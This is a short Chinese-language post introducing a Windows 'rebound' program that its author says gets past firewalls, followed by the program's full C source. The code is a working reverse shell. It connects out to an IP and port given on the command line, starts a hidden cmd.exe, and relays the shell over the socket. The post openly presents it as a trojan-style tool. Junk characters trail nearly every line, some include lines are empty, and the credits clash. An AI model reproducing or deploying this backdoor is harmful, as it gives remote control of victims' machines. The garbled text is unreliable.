这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 w"|L:8
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/* ============================== NC`aP0S
Rebound port in Windows NT o]_dJB
By wind,2006/7 vjCu4+w($Z
===============================*/ aQc leTb
#include ^4hO
#include Xp% v.M
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#pragma comment(lib,"wsock32.lib") uc\Kg1{
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void OutputShell(); f:w?pE
SOCKET sClient; CL;}IBd a
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~.nmI&3
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void main(int argc,char **argv) _pG-qK
{ j#x6
WSADATA stWsaData; RFc v^Xf
int nRet; fk>aqm7D!
SOCKADDR_IN stSaiClient,stSaiServer; IGQFtO/x
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if(argc != 3) v^NIx q}U
{ >J?fl8
printf("Useage:\n\rRebound DestIP DestPort\n"); o4,6.1}
return; 6]N;r5n
} /NFj(+&g+
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WSAStartup(MAKEWORD(2,2),&stWsaData); 1{.|+S Z!
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L,`LN>
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stSaiClient.sin_family = AF_INET; 2(+2+}
stSaiClient.sin_port = htons(0); q`a'gJx#y
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1#2 I
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @ioJ]$o7
{ U&OJXJdj
printf("Bind Socket Failed!\n"); 6l1jMm|=
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return; g2ixx+`?|:
} Y('#jU
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stSaiServer.sin_family = AF_INET; {9pZ)tB
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9T9!kb
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _Y4` xv0/
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) fOGFq1D
{ P>D)7V9Hh
printf("Connect Error!"); mdDOvm:&
return; Sy_G,+$\
} KYI/
OutputShell(); U_Ptqqt%
} "m8^zg hL
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void OutputShell() ~jk|4`I?T
{ tw/dD +
char szBuff[1024]; "|q&ea rc
SECURITY_ATTRIBUTES stSecurityAttributes; M"Hf :9Rk
OSVERSIONINFO stOsversionInfo; ZJJY8k `
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "Gzz4D
STARTUPINFO stStartupInfo; lgy<?LI\
char *szShell; @Uvz8*b6
PROCESS_INFORMATION stProcessInformation; s^9Voi.y
unsigned long lBytesRead; Y\P8v
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7Q9 w?y~c
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); U9 s&
stSecurityAttributes.lpSecurityDescriptor = 0; 4e7-0}0
stSecurityAttributes.bInheritHandle = TRUE; Iyn(?w
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); JFmC\
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); pYEMmZ?L
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Mb}QD~=M
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8kIksy
stStartupInfo.wShowWindow = SW_HIDE; 2@],ZLa
stStartupInfo.hStdInput = hReadPipe; ML
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Of#u
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GetVersionEx(&stOsversionInfo); pah'>dAL
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switch(stOsversionInfo.dwPlatformId) T&bYa`f]
{ Dml;#'IF3
case 1: v ;{#Q&(
szShell = "command.com"; _;y9$"A
break; Gb6 'n$g
default: d7y[0<xM
szShell = "cmd.exe"; Bkc4TO
break; Hvi49c]]
} 2l'6.
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <'Eme
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send(sClient,szMsg,77,0); oZgjQM$YP
while(1) h(dvZ=
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{ %wy.TN
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); g$-PR37(
if(lBytesRead) 9.-S(ZO
{ rs[T=C Q
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;[DU%f
send(sClient,szBuff,lBytesRead,0); zC!t;*8a
} <'oQ \eB
else PC8Q"O
{ F)QDJE0
lBytesRead=recv(sClient,szBuff,1024,0); ]_gU#,8
if(lBytesRead<=0) break; q3!bky\
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @S;'@VC
} /,yd+wcW#
} mq.`X:e
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return; bAqA1y3=
}